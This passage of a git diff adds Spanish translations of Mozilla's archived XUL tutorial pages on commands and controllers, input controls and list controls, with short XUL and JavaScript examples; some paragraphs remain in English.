+<p>En este ejemplo, en vez de colocar el atributo <code><a href="/Es/XUL/Atributos#oncommand" title="es/XUL/Atributos#oncommand">oncommand</a></code> en el <code><a href="/es/XUL/Elementos#button" title="es/XUL/Elementos#button">button</a></code>, simplemente lo colocamos sobre un elemento <code><a href="/es/XUL/Elementos#command" title="es/XUL/Elementos#command">command</a></code>. Los dos son entonces enlazados usando el atributo <code><a href="/Es/XUL/Atributos#command" title="es/XUL/Atributos#command">command</a></code> el cual tiene el valor del <code><a href="/Es/XUL/Atributos#id" title="es/XUL/Atributos#id">id</a></code> del comando. El resultado es que cuando el botón es presionado, el comando: '<code>cmd_openhelp</code>' es invocado.</p>
+
+<p><br>
+ Hay dos ventajas al usar ésta técnica:</p>
+
+<ul>
+ <li>Primero, que transfiere todas sus operaciones a comandos los cuales pueden ser agrupados juntos en una sección del archivo XUL. Esto significa que el código está todo junto y no esparcido por el código UI.</li>
+</ul>
+
+<ul>
+ <li>La otra ventaja es que muchos botones u otros elementos UI pueden ser enlazados al mismo comando. Para empezar, usted puede tener un <a href="/es/Tutorial_de_XUL/Menús_de_Barras_Simples" title="es/Tutorial de XUL/Menús de Barras Simples">menu item</a>, un <a href="/es/Tutorial_de_XUL/Barra_de_Herramientas" title="es/Tutorial_de_XUL/Barra_de_Herramientas">botón de barra de herramientas</a> y un <a href="/es/Tutorial_de_XUL/Atajos_de_teclado" title="es/Tutorial_de_XUL/Atajos_de_teclado">atajo de teclado</a> todos para la misma operación. En vez de repetir el código tres veces, usted puede enlazar todos los tres al mismo comando. Normalmente, usted solo enlazará elementos que enviarían un evento de comando.</li>
+</ul>
+
+<p>Adicionalmente:</p>
+
+<ul>
+ <li>Si usted coloca el atributo <code><a href="/Es/XUL/Atributos#disabled" title="es/XUL/Atributos#disabled">disabled</a></code> en el comando , el comando será deshabilitado y no será invocado.</li>
+ <li>Cualquier botón y objeto del menú enlazados a éste serán deshabilitados automáticamente.</li>
+ <li>Si usted rehabilita el comando, los botones se habilitan de nuevo.</li>
+</ul>
+
+<h4 id="Ejemplo_toggling_command_disabled" name="Ejemplo:_toggling_command_disabled">Ejemplo: toggling <code>command</code> disabled</h4>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_commands_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;command id="cmd_openhelp" oncommand="alert('Ayuda');"/&gt;
+&lt;button label="Ayuda" command="cmd_openhelp"/&gt;
+&lt;button label="Más ayuda" command="cmd_openhelp"/&gt;
+
+&lt;button label="Desactivado"
+        oncommand="document.getElementById('cmd_openhelp').setAttribute('disabled','true');"/&gt;
+&lt;button label="Activado"
+        oncommand="document.getElementById('cmd_openhelp').removeAttribute('disabled');"/&gt;
+</pre>
+
+<p>En este ejemplo, ambos botones usan el mismo comando. Cuando un botón deshabilitar es presionado, el comando es deshabilitado al colocar su atributo <code><a href="/es/XUL/Atributos#disabled" title="es/XUL/Atributos#disabled">desactivado</a></code>, y ambos botones serán deshabilitados también.</p>
+
+<p>Es normal colocar un grupo de comandos dentro de un elemento</p>
+
+<p><code><a href="/es/XUL/Elementos#commandset" title="es/XUL/Elementos#commandset">commandset</a></code>, junto cerca del inicio del archivo XUL, tal como en el siguiente:</p>
+
+<pre>&lt;commandset&gt;
+  &lt;command id="cmd_open" oncommand="alert('Abrir!');"/&gt;
+  &lt;command id="cmd_help" oncommand="alert('Ayuda!');"/&gt;
+&lt;/commandset&gt;
+</pre>
+
+<p>Un comando es invocado cuando el usuario activa el botón u otro elemento agregado al comando. Usted puede también invocar un comando al llamar el método <code><a href="/es/XUL/M%C3%A9todos#doCommand" title="es/XUL/Métodos#doCommand">doCommand</a></code> cualquier elemento de l<code><a href="/es/XUL/Elementos#command" title="es/XUL/Elementos#command">comando</a></code> o un elemento agregado al comando tal como un botón.</p>
+
+<h3 id="Command_Dispatching" name="Command_Dispatching">Command Dispatching</h3>
+
+<p>Es posible usar comandos sin el elemento <code><a href="/es/XUL/Elementos#command" title="es/XUL/Elementos#command">comando</a></code> elements, o al menos, sin añadir un atributo <code><a href="/es/XUL/Atributos#oncommand" title="es/XUL/Atributos#oncommand">oncommand</a></code> al comando. In this case, the command will not invoke a script directly, but instead, find an element or function which will handle the command. This function may be separate from the XUL itself, and might be handled internally by a widget. In order to find something to handle the command, XUL uses an object called a command dispatcher. This object locates a handler for a command. A handler for a command is called a controller. So, essentially, when a command is invoked, the command dispatcher locates a controller which can handle the command. You can think of the <code><a href="/es/XUL/Elementos#command" title="es/XUL/Elementos#command">comando</a></code> element as a type of controller for the command.</p>
+
+<p>The command dispatcher locates a controller by looking at the currently focused element to see if it has a controller which can handle the command. XUL elements have a <code><a href="/es/XUL/Propiedades#controllers" title="es/XUL/Propiedades#controllers">controladores</a></code> property which is used to check. You can use the <code><a href="/es/XUL/Propiedades#controllers" title="es/XUL/Propiedades#controllers">controladores</a></code> property to add your own controllers. You might use this to have a listbox respond to cut, copy and paste operations, for instance. An example of this will be provided later. By default, only textboxes have a controller that does anything. The textbox controller handles clipboard operations, selection, undo and redo as well as some editing operations. Note that an element may have multiple controllers, which will all be checked.</p>
+
+<p>If the currently focused element does not have a suitable controller, the window is checked next. The window also has a <code><a href="/es/XUL/Propiedades#controllers" title="es/XUL/Propiedades#controllers">controladores</a></code> property which you can modify if desired. If the focus is inside a frame, each frame leading to the top-level window is checked as as well. This means that commands will work even if the focus is inside a frame. This works well for a browser, since editing commands invoked from the main menu will work inside the content area. Note that HTML also has a commands and controller system although you can't use it on unprivileged web pages, but you may use it from, for example, a browser extension. If the window doesn't provide a controller capable of handling the command, nothing will happen.</p>
+
+<p>You can get the command dispatcher using the document's <code>commandDispatcher</code> property, or you can retrieve it from the controllers list on an element or a window. The command dispatcher contains methods for retrieving controllers for commands and for retrieving and modifying the focus.</p>
+
+<h4 id="A.C3.B1adiendo_controladores" name="A.C3.B1adiendo_controladores">Añadiendo controladores</h4>
+
+<p>You can implement your own controllers to respond to commands. You could even override the default handling of a command with careful placement of the controller. A controller is expected to implement four methods, which are listed below:</p>
+
+<dl>
+ <dt>supportsCommand (command) </dt>
+ <dd>this method should return true if the controller supports a command. If you return false, the command is not handled and command dispatcher will look for another controller. A single controller may support multiple commands.</dd>
+ <dt>isCommandEnabled (command) </dt>
+ <dd>this method should return true if the command is enabled, or false if it is disabled. Corresponding buttons will be disabled automatically.</dd>
+ <dt>doCommand (command) </dt>
+ <dd>execute the command. This is where you would put the code to handle the command.</dd>
+ <dt>onEvent (event) </dt>
+ <dd>this method handles an event.</dd>
+</dl>
+
+<h5 id="Ejemplo_implementaci.C3.B3n_del_controlador" name="Ejemplo:_implementaci.C3.B3n_del_controlador">Ejemplo: implementación del controlador</h5>
+
+<p>Let's assume that we want to implement a listbox that handles the delete command. When the user selects Delete from the menu, the listbox deletes the selected row. In this case, you just need to attach a controller to a listbox which will perform the action in its <code>doCommand</code> method.</p>
+
+<p>Try opening the example below (<a href="https://developer.mozilla.org/samples/xultu/examples/commands.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/commands.xul">Ver en funcionamiento</a>) in a browser window and selecting items from the list. You'll notice that the Delete command on the browser's Edit menu is enabled and that selecting it will delete a row. (See <a href="/Talk:es/XUL_Tutorial/Commands" title="Talk:es/XUL_Tutorial/Commands">Discussion</a> about opening this example). The example below isn't completely polished. Really, we should ensure that the selection and focus is adjusted appropriately after a deletion.</p>
+
+<pre>&lt;window id="controller-example" title="Ejemplo de controlador" onload="init();"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+&lt;script&gt;
+function init()
+{
+  var list = document.getElementById("laLista");
+
+  var listController = {
+    supportsCommand : function(cmd){ return (cmd == "cmd_delete"); },
+    isCommandEnabled : function(cmd){
+      if (cmd == "cmd_delete") return (list.selectedItem != null);
+      return false;
+    },
+    doCommand : function(cmd){
+      list.removeItemAt(list.selectedIndex);
+    },
+    onEvent : function(evt){ }
+  };
+
+  list.controllers.appendController(listController);
+}
+&lt;/script&gt;
+
+&lt;listbox id="laLista"&gt;
+  &lt;listitem label="Ocean"/&gt;
+  &lt;listitem label="Desert"/&gt;
+  &lt;listitem label="Jungle"/&gt;
+  &lt;listitem label="Swamp"/&gt;
+&lt;/listbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<p>The controller (listController) implements the four methods described above. The <code>supportsCommand</code> method returns true for the 'cmd_delete' command, which is the name of the command used when the Delete menu item is selected. For other commands, false should be returned since the controller does not handle any other commands. If you wanted to handle more commands, check for them here, since you will often use a single controller for multiple related commands.</p>
+
+<p>The <code>isCommandEnabled</code> method returns true if the command should be enabled. In this case, we check if there is a selected item in the listbox and return true if there is. If there is no selection, false is returned. If you delete all the rows in the example, the Delete command will become disabled. You may have to click the listbox to update the menu in this simple example. The <code>doCommand</code> method will be called when the Delete menu item is selected, and this will cause the selected row in the listbox to be deleted. Nothing needs to happen for the <code>onEvent</code> method, so no code is added for this method.</p>
+
+<h4 id="Override_Default_Controller" name="Override_Default_Controller">Override Default Controller</h4>
+
+<p>We attach this controller to the listbox by calling the <code>appendController</code> method of the listbox's <code><a href="/es/XUL/Propiedades#controllers" title="es/XUL/Propiedades#controllers">controladores</a></code>. The <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIControllers.html">el objeto controlador</a> has a number of methods that may be used to manipulate the controllers. For instance, there is also an <code>insertControllerAt</code> method which inserts a controller into an element before other ones. This might be useful to override commands. For example, the following example will disable pasting into a textbox.</p>
+
+<pre>var tboxController = {
+  supportsCommand : function(cmd){ return (cmd == "cmd_paste"); },
+  isCommandEnabled : function(cmd){ return false; },
+  doCommand : function(cmd){ },
+  onEvent : function(evt){ }
+};
+
+document.getElementById("tbox").controllers.insertControllerAt(0,tboxController);
+</pre>
+
+<p>In this example, we insert the controller at index 0, which means before any others. The new controller supports the 'cmd_paste' command and always indicates that the command is disabled. The default textbox controller never gets called because the command dispatcher found the controller above to handle the command first.</p>
+
+<p>Seguimos con la <a href="/es/Tutorial_de_XUL/Actualizar_comandos" title="es/Tutorial_de_XUL/Actualizar_comandos">actualización de comandos</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Foco_y_Selección" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Actualizar_comandos">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/controles_de_entrada/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/controles_de_entrada/index.html
new file mode 100644
index 0000000000..30cfc30cbc
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/controles_de_entrada/index.html
@@ -0,0 +1,86 @@
+---
+title: Controles de entrada
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Controles_de_entrada
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Input_Controls
+---
+<p>XUL tiene elementos que son similares a los controles de los formularios de HTML</p>
+<h3 id="Campos_de_Entrada_de_Texto" name="Campos_de_Entrada_de_Texto">Campos de Entrada de Texto</h3>
+<p>HTML tiene un elemento de entrada que puede ser usado para mandos de entrada de texto. XUL tiene un elemento similar, textbox, usado para campos de entrada de texto. Sin cualquier atributo, el elemento textbox crea una caja en la cual el usuario puede entrar en el texto. Textboxes aceptan muchos de los mismos atributos que mandos de entrada de HTML. Lo siguiente es algunos de ellos:</p>
+<p><strong>id</strong></p>
+<p>Un identificador único de modo que usted puede identificar el textbox.</p>
+<p><strong>class</strong></p>
+<p>La clase de estilo del textbox.</p>
+<p><strong>value</strong></p>
+<p>Si usted quiere que el textbox tenga un texto por defecto, suminístrelo del atributo de valor.</p>
+<p><strong>disabled</strong></p>
+<p>Si vale verdadero desactiva el componente.</p>
+<p><strong>type</strong></p>
+<p>Existen una serie de valores que cambian el comportamiento del textbox. Por ejemplo 'password' hace que lo escrito quede oculto y suele usarse para campos de contraseña.</p>
+<p><strong>maxlength</strong></p>
+<p>El número máximo de los carácteres a los cuales el textbox permite.</p>
+<p>Note que mientras en HTML, varias clases diferentes de campos pueden ser creadas con el elemento de entrada, en XUL hay elementos separados para cada tipo. El ejemplo siguiente muestra algún textboxes:</p>
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+<pre>&lt;label control="some-text" value="Enter some text"/&gt;
+&lt;textbox id="some-text"/&gt;
+&lt;label control="some-password" value="Enter a password"/&gt;
+&lt;textbox id="some-password" type="password" maxlength="8"/&gt;
+</pre>
+<p>Los ejemplos textbox encima crearán las entradas de texto que sólo pueden ser usadas para entrar en una línea de texto. HTML también tiene un elemento textarea para crear una entrada de texto más grande el área. En XUL, usted puede usar el elemento textbox por esta razón también - dos elementos separados no son necesarios. Si usted pone el atributo de multilínea a verdadero, el campo de entrada de texto mostrará filas de mutliple.</p>
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_2.xul">Ver en funcionamiento</a></p>
+<pre>&lt;textbox multiline="true"
+           value="Esto es un texto que podría ser ajustado en multiples líneas."/&gt;
+</pre>
+<p>Similar al elemnento HTML <code>textarea</code>, puedes usar los tributos <code>rows</code> y <code>cols</code> para seleccionar el tamaño. Esto debería seleccionar el nñumero de filas y columnas de caracteres a mostrar.</p>
+<div class="highlight">
+ <p>Vamos a añadir un campo de entrada de busqueda para el dialogo buscar archivo. Usaremos el elemento <code>textbox</code>.</p>
+ <pre class="eval"><span class="highlightred">&lt;label value="Buscar por:" control="find-text"/&gt;</span>
+<span class="highlightred">&lt;textbox id="find-text"/&gt;</span>
+
+&lt;button id="find-button" label="Find"/&gt;
+</pre>
+ <p>Añade estas líneas antes de los botones que creamos en la última sección. Si abres esta ventana, verás algo parecido a lo que se muestra en la imagen siguiente.</p>
+ <p><img alt="Image:inputs1.jpg"></p>
+ <p>Nota que la etiqueta y el campo de entrada de texto ahora aparecen en la ventana. La caja de etxto es completamente funcional y puedes teclear dentro y seleccionar texto. Nota que el atributo de control tiene que estar siendo usado con la caja de texto seleccionada cuando la etiqueta se pulsa.</p>
+</div>
+<h3 id="Cajas_de_Chekeo_y_Botones_de_Radio" name="Cajas_de_Chekeo_y_Botones_de_Radio">Cajas de Chekeo y Botones de Radio</h3>
+<p>Dos elementos adicionales son usados para crear las cajas de chekeo y los botones de radio. Son variaciones de botones. Las cajas de checkeo se usan para opciones que pueden ser habilitadas o desabilitadas. Los Botones de Radio pueden usarse para propositos similares cuando dentro de un grupo de elementos solo podemos seleccionar uno.</p>
+<p>La mayoría de los atributos de las cajas de checkeo y los botones de radio coinciden con los de los botones. El ejemplo siguiente muestra algunas cajas de checkeo y botones de radio simples.</p>
+<pre>&lt;checkbox id="case-sensitive" checked="true" label="Case sensitive"/&gt;
+&lt;radio id="orange" label="Orange"/&gt;
+&lt;radio id="violet" selected="true" label="Violet"/&gt;
+&lt;radio id="yellow" label="Yellow"/&gt;
+</pre>
+<p>La primera línea crea una caja de checkeo simple. Cuando el usuario hace click en la aja de checkeo, esta cambia entre checkeada y no checkeada. El atributo <code>checked</code> puede usarse para indicar el estado por defecto. Puedes seleccionarlo como <code>true</code> o <code>false</code>. El atributo etiqueta puede usarse para asignar una etiqueta que aparezca despues de la caja de chekeo. Para los botones de radio, deberías usar el atributo <code>selected</code> en lugar del atributo <code>checked</code>. Seleccionalo a <code>true</code> para tener un botón de radio seleccionado por defecto, o dejalo para otros botones de radio.</p>
+<p>Para que un grupo de botones de radio trabajen junto, necesitas usar el elemento <a class="external" href="http://www.xulplanet.com/references/elemref/ref_radiogroup.html">radiogroup</a>. Solo uno de los botones de radio en un grupo de botones de radio puede estar seleccionado. Pulsando en uno desactivaras el resto de los botones de radio en el mismo grupo. El siguiente ejemplo demuestra esto.</p>
+<h4 id="Ejemplo_3" name="Ejemplo_3">Ejemplo</h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_3.xul">Ver en funcionamiento</a></p>
+<pre>&lt;radiogroup&gt;
+  &lt;radio id="orange" label="Orange"/&gt;
+  &lt;radio id="violet" selected="true" label="Violet"/&gt;
+  &lt;radio id="yellow" label="Yellow"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+<p>Como los botones, la cajas de checkeo y los botones de radio estan hechos de una etiqueta y una imagen, donde la imagen cambia entre checkeado y no checkeado cuando se pulsa. Las cajas de checkeo tienen la muchos de los atributos de los botones:</p>
+<dl>
+ <dt>
+  label </dt>
+ <dd>
+  La etiqueta de las cajas de checkeo o botones de radio.</dd>
+ <dt>
+  disabled </dt>
+ <dd>
+  Seleecciona entre <code>true</code> or <code>false</code> para habilitar o deshabilitar una caja de checkeo o botón de radio.</dd>
+ <dt>
+  accesskey </dt>
+ <dd>
+  Las teclas de acceso rápido pueden usarse para seleccionar el elemento. La letra especificada es normalmente subrallada en la etiqueta.</dd>
+</dl>
+<h3 id="Llevando_el_ejemplo_Burcar_Archivos_m.C3.A1s_lejos" name="Llevando_el_ejemplo_Burcar_Archivos_m.C3.A1s_lejos">Llevando el ejemplo Burcar Archivos más lejos</h3>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-inputs.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-inputs.xul">Ver en funcionamiento</a></p>
+<p>En la siguiente sección, veremos algunos elementos para crear cajas de listas.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/controles_de_listas/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/controles_de_listas/index.html
new file mode 100644
index 0000000000..53a621b470
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/controles_de_listas/index.html
@@ -0,0 +1,171 @@
+---
+title: Controles de listas
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Controles_de_listas
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/List_Controls
+---
+<p>XUL tiene una cantidad de tipos de elementos para la cración de cajas de listas.</p>
+
+<h3 id="Cajas_de_listas" name="Cajas_de_listas">Cajas de listas</h3>
+
+<p>Una caja de listas de usa para mostrar un número de elementos en una lista. El usuario puede seleccionar un elemento de la lista.</p>
+
+<p>XUL provee dos tipos de elementos para crear listas, un elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_listbox.html">listbox</a></code> para crear cajas de listas de multiples filas, y un elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_menulist.html">menulist</a></code> para crear listas desplegables. Trabajan de forma muy similar al elemento de HTML <code>select</code>, el cual permite embas funciones, pero los elementos XUL tienes caracteristicas adicionales.</p>
+
+<p>La caja de listas más simple usa el elemento <code>listbox</code> para su propia caja, y el elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_listitem.html">listitem</a></code> para cada elemento. Por ejemplo, esta lista tendrá cuatro filas, una por cada elemento.</p>
+
+<p><strong>Ejemplo 1</strong> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;listbox&gt;
+  &lt;listitem label="Butter Pecan"/&gt;
+  &lt;listitem label="Chocolate Chip"/&gt;
+  &lt;listitem label="Raspberry Ripple"/&gt;
+  &lt;listitem label="Squash Swirl"/&gt;
+&lt;/listbox&gt;
+</pre>
+
+<p><img alt="Image:lists1.jpg"></p>
+
+<p>Similar al elemento HTML <code>option</code>, Puedes asignar un valor para cada elemento usando el atributo <code>value</code>. Puedes entonces usar el valor en un script. La caja de listas tendrá por defecto el tamaño de las filas de la lista, pero puedes controlar el tamaño con el atributo rows. Seleccionando el número de <code>rows</code> a mostrar en la caja de lista. Una barra de desplazamiento aparecerá para mostrar al usuario las filas adicionales.</p>
+
+<p>El siguiente ejemplo demuestra estas características adicionales:</p>
+
+<p><strong>Ejemplo 2</strong> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;listbox rows="3"&gt;
+  &lt;listitem label="Butter Pecan" value="bpecan"/&gt;
+  &lt;listitem label="Chocolate Chip" value="chocchip"/&gt;
+  &lt;listitem label="Raspberry Ripple" value="raspripple"/&gt;
+  &lt;listitem label="Squash Swirl" value="squash"/&gt;
+&lt;/listbox&gt;
+</pre>
+
+<p>El ejemplo fue cambiado para mostrar sólo 3 filas a la vez. Los valores se han añadido a los elementos de la lista. Las cajas de listas tienen algunas características adicionales, las cuales se describirán más adelante.</p>
+
+<h3 id="Cajas_de_lista_multi-columna" name="Cajas_de_lista_multi-columna">Cajas de lista multi-columna</h3>
+
+<p>Las cajas de listas tambien soportan multiples columnas. Cada celda puede tener un contenido arbitrario dentro, aunque generalmente sólo se usa texto. Cuando el usuario selecciona un elemento de la lista, la fila entera se selecciona. No tendrás una sola celda seleccionada.</p>
+
+<p>Se usan dos campos para especificar las columnas en la caja de listas. El elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_listcols.html">listcols</a></code> se usa para mantener la información de la columna, cada una de las cuales se especifica usando un elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_listcol.html">listcol</a></code> . Necesitas un elemento <code>listcol</code> para cada columna en la caja de listas.</p>
+
+<p>Las cajas de lista no poseen un equivalente al elemento rows de las grillas. De hecho, hay un equivalente, pero es creado y puesto en la caja de lista automáticamente. También está oculto para que no se sepa que está allí.</p>
+
+<p>El elemento <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_listcell.html">listcell</a></code> (celda de lista) puede ser utilizado para cada celda en una fila. Si se quiere tener tres columnas, se necesita adicionar tres elementos <code>listcell</code> dentro de cada <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_listitem.html">listitem</a></code>. Para especificar el texto contenido en una celda debe colocarse dentro del elemento un atributo <code>label</code>. Para el simple caso donde hay una sola columna, también puede ponerse los atributos <code>label</code> directamente en los elementos <code>listitem </code> (ítem de lista) correspondientes y no utilizar elementos <code>listcell</code>, como se muestra en el siguente ejemplo.</p>
+
+<p>(Cuando el usuario selecciona un item, toda la fila es seleccionada. No es posible seleccionar una celda individualmente.)</p>
+
+<p>El siguiente ejemplo es de una caja de lista con dos columnas y tres filas:</p>
+
+<p><strong>Ejemplo 3</strong></p>
+
+<pre class="eval">&lt;listbox&gt;
+ &lt;listcols&gt;
+   &lt;listcol flex="1"/&gt;
+   &lt;listcol flex="2"/&gt;
+ &lt;/listcols&gt;
+ &lt;listitem&gt;
+   &lt;listcell label="Jorge"/&gt;
+   &lt;listcell label="Pintor de casas"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+   &lt;listcell label="María Elena"/&gt;
+   &lt;listcell label="Fabricante de velas"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+   &lt;listcell label="Rogelio"/&gt;
+   &lt;listcell label="Matón"/&gt;
+ &lt;/listitem&gt;
+&lt;/listbox&gt;
+</pre>
+
+<p>Esta caja de lista posee dos columnas, siendo la segunda el doble de flexible que la primera. Si se reduce el tamaño horizontalmente, las etiquetas en las celdas se recortarán automáticamente. Como con otros elementos, puede utilizarse el atributo crop en las celdas o en los ítems para controlar el recorte.</p>
+
+<h3 id="Filas_de_encabezado" name="Filas_de_encabezado">Filas de encabezado</h3>
+
+<p>Las cajas de lista también permiten la utilización de una fila especial, la fila encabezado. Es muy parecida a una fila regular excepto que se la muestra de manera distinta. Puede ser aprovechada para crear encabezados en las columnas. Se utilizan dos elementos.</p>
+
+<p>El elemento cabeza de lista (<code>listhead</code>) se usa para las filas de encabezado, al igual que el elemento <code>listitem</code> se utiliza para filas comunes. Sin embargo la fila de encabezado no es una fila normal, por lo que si se usara un guión para obtener la primer fila en una caja de lista, la fila de encabezado no sería tenida en cuenta.</p>
+
+<p>El elemento <code>listheader</code> (encabezado de lista) indica cada celda en la fila de encabezado. Para indicar el texto dentro de la celda de encabezado se utiliza el atributo <code>label</code></p>
+
+<p>Este sería el ejemplo anterior pero con una fila de encabezado:</p>
+
+<p><strong>Ejemplo 4</strong></p>
+
+<pre class="eval">&lt;listbox&gt;
+ &lt;listhead&gt;
+   &lt;listheader label="Nombre"/&gt;
+   &lt;listheader label="Ocupación"/&gt;
+ &lt;/listhead&gt;
+ &lt;listcols&gt;
+   &lt;listcol flex="1"/&gt;
+   &lt;listcol flex="2"/&gt;
+ &lt;/listcols&gt;
+ &lt;listitem&gt;
+   &lt;listcell label="Jorge"/&gt;
+   &lt;listcell label="Pintor de casas"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+   &lt;listcell label="María Elena"/&gt;
+   &lt;listcell label="Fabricante de velas"/&gt;
+ &lt;/listitem&gt;
+ &lt;listitem&gt;
+   &lt;listcell label="Rogelio"/&gt;
+   &lt;listcell label="Matón"/&gt;
+ &lt;/listitem&gt;
+&lt;/listbox&gt;
+</pre>
+
+<p>En este ejemplo, el atributo <code><a href="es/XUL/Atributo#flex">flex</a></code> se usa para hacer la columna flexible. Este atributo será descrito en una sección posterior, pero aqui permite que la columna rellene todo el espacio horizontal disponible. Puedes redimensionar la ventana para ver que la columna se estrecha cuando la ventana lo hace. Si cortas el tamaño horizontalmente, las etiquetas de las celdas se cortarán automáticamente usando una elipsis. Puedes usar el atributo <code><a href="es/XUL/Atributo#crop">crop</a></code> en las celdas o elementos seleccionados con el valor <code>none</code> para deshablitar la elipsis.</p>
+
+<h3 id="Listas_desplegables" name="Listas_desplegables">Listas desplegables</h3>
+
+<p>Las listas desplegables se crean en HTML usando el elemento <code>select</code> . El usuario puede ver una sola elección en una caja de texto y hacer click en la flecha o algo similar como un botón pegado a la caja de texto para realizar una selección diferente. Las otras opciones aparecerán en una ventana emergente. XUL tiene un elemento <code>[[XUL:Elemento#menulista|lista de menú}}</code> que puede usarse para este proposito. Consiste en una caja de texto con un btón adjunto. El nombre se eligió porque muestra un menu emergente con las opciones en el.</p>
+
+<p>Se necesitan tres elementos para describir una lista desplegable. El primero es el elemento <code>menulist</code> , que crea la caja de texto con el botón adjunto. El segundo, <code><a href="es/XUL/Elemento#menupopup">menupopup</a></code>, crea la ventana de menu emergente que aparecerá cuando el botón sea pulsado. El tercero, <code><a href="es/XUL/Elemento#menuitem">menuitem</a></code>, crea cada opción individual.</p>
+
+<p>Su sintaxis se describe mejor con el siguiente ejemplo:</p>
+
+<p><strong>Ejemplo 5</strong> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_5.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_5.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="Image:inputs2.png"></div>
+
+<pre>&lt;menulist label="Bus"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="Coche"/&gt;
+    &lt;menuitem label="Taxi"/&gt;
+    &lt;menuitem label="Bus" selected="true"/&gt;
+    &lt;menuitem label="Tren"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+
+<p>Esta lista de menu contiene cuatro opciones, una por cada elemento <code><a href="es/XUL/Elemento#menuitem">menuitem</a></code> . Para mostrar las opciones, haz click en el botón de flecha en la lista de menu. Cuando se seleccione uno, este aparecerá como la opción en la lista de menu. El atributo <code><a href="es/XUL/Atributo#selected">selected</a></code> se usa para indicar el valor que tendrá la selección por defecto.</p>
+
+<h4 id="Lista_de_men.C3.BA_editable" name="Lista_de_men.C3.BA_editable">Lista de menú editable</h4>
+
+<p>Por defecto, solo puedes seleccionar opciones de la lista. No puedes introducir tu propio texto tecleandolo dentro. Una variante del menulist permite editar el texto dentro del campo. Por ejemplo, el campo URL en el navegador tiene una lista desplegable para seleccionar URLs tecleadas anteriormente, pero puedes teclaearla tu mismo.</p>
+
+<p>Para clear un menulist editable, añada el atributo <code><a href="es/XUL/Atributo#editable">editable</a></code> como sigue: <strong>Ejemplo 6</strong> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_6.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_lists_6.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;menulist editable="true"&gt;
+  &lt;menupopup&gt;
+    &lt;menuitem label="www.mozilla.org"/&gt;
+    &lt;menuitem label="www.xulplanet.com"/&gt;
+    &lt;menuitem label="www.dmoz.org"/&gt;
+  &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+
+<p>El campo URL creado aqui tiene tres opciones predefinidas que el usuario puede seleccionar o puede introducir una propia escribiendo en el campo. El texto que el usuario introduzca no se añadirá como nueva opción. Porque el atributo <code>label</code> no se usa en este ejemplo, el valor por defecto será en blanco.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Controles_de_entrada" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Medidores_de_Progreso">Siguiente  »</a></p>
+</div>
+
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">links interwikis</span></p>
